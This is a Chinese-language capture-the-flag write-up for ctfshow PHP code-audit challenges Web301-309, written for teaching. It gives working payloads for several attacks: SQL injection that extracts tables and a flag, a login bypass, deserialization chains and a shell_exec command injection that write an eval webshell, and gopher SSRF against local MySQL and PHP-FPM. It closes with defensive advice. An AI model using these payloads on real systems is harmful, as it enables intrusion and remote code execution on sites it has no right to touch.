ctfshow之php代码审计
字数 1288 2025-08-15 21:33:50
PHP代码审计实战教学:CTFSHOW系列题目解析
1. 基础SQL注入漏洞分析
1.1 Web301漏洞分析
漏洞文件:checklogin.php
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
漏洞点:
- 直接拼接用户输入到SQL语句中,未做任何过滤
- 错误处理不当,仅检查了结果行数,未正确处理SQL错误
利用方法:
POST /checklogin.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
userid=1'union select 1#&userpwd=1
防御措施:
- 使用预处理语句
- 对用户输入进行过滤
- 使用框架提供的安全查询方法
2. 密码验证绕过漏洞
2.1 Web302漏洞分析
新增代码:
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
加密函数(fun.php):
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
利用方法:
- 计算已知密码的哈希值
- 构造SQL注入使查询返回我们指定的哈希值
Payload:
userid=1'union select "d9c77c4e454869d5d8da3b4be79694d3"#&userpwd=1
3. 二次注入漏洞利用
3.1 Web303漏洞分析
漏洞文件:dptadd.php
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',...";
利用条件:
- 需要先登录(弱口令admin/admin)
- 注入点在添加部门功能处
利用步骤:
- 登录系统
- 在添加部门时注入SQL代码
Payload示例:
dpt_name=1',sds_address =(select database())#
dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())#
dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name="sds_fl9g")#
dpt_name=1',sds_address =(select group_concat(flag) from sds_fl9g)#
4. WAF绕过技术
4.1 Web304 WAF分析
WAF函数:
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}
绕过方法:
- 使用大写字母
- 使用特殊符号
- 使用注释符
有效Payload:
dpt_name=1',sds_address =(select group_concat(flag) from sds_flaag)#
5. 反序列化漏洞利用
5.1 Web305漏洞分析
漏洞类(class.php):
class user{
public $username;
public $password;
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
触发点(checklogin.php):
$user_cookie = $_COOKIE['user'];
$user = unserialize($user_cookie);
利用步骤:
- 构造恶意序列化数据
- 通过Cookie传递
- 触发反序列化写入Webshell
Exploit代码:
class user{
public $username = '1.php';
public $password = '<?php eval($_POST[1]);?>';
}
echo urlencode(serialize(new user()));
6. 复杂反序列化链利用
6.1 Web306漏洞分析
关键类:
class log{
public $title='log.txt';
public $info='';
public function close(){
file_put_contents($this->title, $this->info);
}
}
class dao{
private $conn;
public function __destruct(){
$this->conn->close();
}
}
利用链:
- 使dao的$conn属性为log对象
- 当dao被销毁时调用log的close方法
- 写入Webshell
Exploit代码:
class dao{
private $conn;
public function __construct(){
$this->conn = new log();
}
}
class log{
public $title = 'log.php';
public $info = '<?php eval($_POST[1]);?>';
}
echo base64_encode(serialize(new dao()));
7. 命令注入漏洞
7.1 Web307漏洞分析
漏洞点(dao.php):
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir);
}
触发点(logout.php):
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}
利用方法:
- 控制config类的cache_dir属性
- 注入命令到shell_exec中
Exploit代码:
class config{
public $cache_dir = ';echo "<?php eval(\$_POST[1]);?>" >1.php;';
}
class dao{
private $config;
public function __construct(){
$this->config = new config();
}
}
echo base64_encode(serialize(new dao()));
8. SSRF漏洞利用
8.1 Web308漏洞分析
漏洞函数(dao.php):
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
curl调用(fun.php):
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
// 其他配置...
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
利用方法:
- 利用Gopher协议攻击内网服务
- 攻击MySQL服务
Exploit代码:
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00...';
}
class dao{
private $config;
public function __construct(){
$this->config = new config();
}
}
echo base64_encode(serialize(new dao()));
9. FastCGI协议攻击
9.1 Web309漏洞分析
利用条件:
- PHP-FPM监听在9000端口
- 能够控制请求的URL
Exploit代码:
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01...';
}
class dao{
private $config;
public function __construct(){
$this->config = new config();
}
}
echo base64_encode(serialize(new dao()));
防御措施总结
-
SQL注入防御:
- 使用预处理语句
- 最小权限原则
- 输入验证和过滤
-
反序列化防御:
- 避免反序列化用户输入
- 使用json_encode/json_decode替代
- 实现__wakeup或__destruct的安全检查
-
命令注入防御:
- 避免使用shell_exec等函数
- 使用escapeshellarg过滤
- 使用白名单验证输入
-
SSRF防御:
- 限制请求协议(禁用file、gopher等)
- 设置curl的CURLOPT_PROTOCOLS
- 内网服务使用认证
-
认证安全:
- 禁用弱口令
- 实现多因素认证
- 密码哈希使用强算法(如bcrypt)